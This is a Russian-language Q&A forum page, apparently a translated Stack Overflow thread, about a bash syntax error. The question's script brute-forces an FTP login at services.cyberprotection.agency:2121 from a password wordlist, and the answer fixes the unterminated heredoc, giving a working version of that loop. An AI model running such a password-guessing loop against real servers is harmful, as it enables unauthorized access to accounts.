Bash Script: ошибка, неожиданный конец файла - PullRequest
0 голосов
/ 09 марта 2019

Я пишу короткий bash-скрипт, который перебирает ftp-сервер, используя список паролей. Вот мой код:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

cat $filename | while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
done

Когда я запускаю свой скрипт, я получаю эту ошибку:

синтаксическая ошибка: неожиданный конец файла

Может кто-нибудь подсказать, почему я получаю эту ошибку, спасибо за любую помощь.

1 Ответ

2 голосов
/ 09 марта 2019

Вам нужно закончить наследие:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
EOF
done < "$filename"
...